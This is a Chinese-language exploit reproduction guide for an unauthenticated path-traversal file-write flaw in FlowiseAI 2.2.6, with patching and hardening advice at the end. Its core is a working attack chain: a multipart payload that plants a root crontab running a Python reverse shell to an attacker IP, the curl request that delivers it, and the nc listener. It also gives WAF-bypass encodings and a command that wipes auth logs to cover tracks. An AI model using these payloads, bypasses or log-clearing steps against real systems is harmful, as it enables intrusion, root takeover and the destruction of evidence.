1. 漏洞背景与影响范围
FlowiseAI作为一款流行的低代码LLM应用构建工具,其2.2.6及以下版本存在高危安全缺陷。该漏洞的核心在于/api/v1/attachments接口未实施有效的授权校验和路径过滤,导致攻击者可通过目录遍历实现任意文件写入。根据漏洞披露报告,攻击链具有以下特征:
- 无前置条件:无需任何身份认证即可利用
- 高危害性:结合容器环境特性可实现远程命令执行
- 广泛影响:所有使用默认配置的FlowiseAI实例均暴露在风险中
注意:实际测试发现容器环境使用BusyBox的ash作为默认shell,这与常规Linux发行版的bash环境存在兼容性差异,这也是原始PoC需要调整的关键原因。
2. 漏洞原理深度解析
2.1 文件上传机制缺陷
漏洞根源在于三个安全控制的缺失:
- 未校验
filename参数的路径穿越字符(如../) - 未限制上传文件的目标目录
- 未验证请求方的会话权限
通过构造如下形式的请求,即可实现目录穿越:
http复制POST /api/v1/attachments/..%2f..%2f..%2fetc HTTP/1.1
[其他头部]
其中%2f是URL编码的斜杠字符,服务端解码后会将其解析为目录跳转指令。
2.2 容器环境特殊性
靶机环境采用Alpine Linux基础镜像,带来两个关键差异:
- cron服务路径:计划任务文件存储在
/var/spool/cron/crontabs/而非常规的/etc/crontab - Shell兼容性:默认使用ash解释器,部分bash特性不可用
这解释了为什么需要调整原始PoC中的文件路径和反弹shell命令格式。
3. 完整复现过程
3.1 环境准备
-
测试环境:
- 攻击机:Kali Linux (IP: 192.168.1.100)
- 靶机:FlowiseAI 2.2.6 (IP: 192.168.1.200)
- 监听端口:4444
-
工具清单:
bash复制# 网络工具 nc -lvnp 4444 # 请求构造 curl -X POST --data-binary @payload.txt http://target/api/v1/attachments/..%2f..%2f..%2fvar%2fspool%2fcron%2fcrontabs
3.2 分步利用
步骤1:构造恶意计划任务
创建payload.txt文件,内容为:
plaintext复制------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="root"
Content-Type: text/plain
*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["ash","-i"]);'
------WebKitFormBoundary7MA4YWxkTrZu0gW--
步骤2:发送恶意请求
bash复制curl -X POST -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" --data-binary @payload.txt http://192.168.1.200/api/v1/attachments/..%2f..%2f..%2fvar%2fspool%2fcron%2fcrontabs
步骤3:等待反弹连接
bash复制nc -lvnp 4444
成功连接后将获得root权限的shell会话。
4. 技术细节与避坑指南
4.1 路径穿越技巧
实际测试中发现服务端对路径解析存在以下特征:
- 允许任意层级的
../跳转 - 支持URL编码和双重编码(如
%252f) - 对路径末尾的斜杠处理不严格
4.2 容器环境适配
针对不同基础镜像的调整建议:
| 镜像类型 | cron路径 | 默认Shell | 推荐Payload |
|---|---|---|---|
| Alpine | /var/spool/cron/crontabs | ash | 本文所述python方案 |
| Debian/Ubuntu | /var/spool/cron/crontabs | bash | 使用/bin/bash -i的版本 |
| CentOS | /var/spool/cron/root | bash | 传统bash反弹语句 |
4.3 防御绕过技巧
-
WAF绕过:
- 使用
....//替代../ - 混合使用URL编码和双重编码
- 添加冗余路径分隔符
- 使用
-
日志清理:
bash复制# 清除auth日志痕迹
echo "" > /var/log/auth.log
5. 修复方案与防护建议
5.1 官方补丁
升级到FlowiseAI 2.2.7+版本,该版本已修复:
- 增加JWT鉴权校验
- 实现路径规范化处理
- 限制文件上传目录
5.2 临时缓解措施
对于无法立即升级的环境:
nginx复制location /api/v1/attachments {
deny all;
return 403;
}
5.3 安全加固建议
-
容器层面:
- 使用非root用户运行服务
- 挂载
/var/spool/cron为只读
-
网络层面:
- 配置网络策略限制API接口访问
- 启用WAF规则过滤路径穿越特征
我在实际测试中发现,即使修复了文件上传漏洞,仍建议审查系统是否存在残留的恶意计划任务。可通过以下命令检查:
bash复制crontab -l
ls -la /var/spool/cron/crontabs/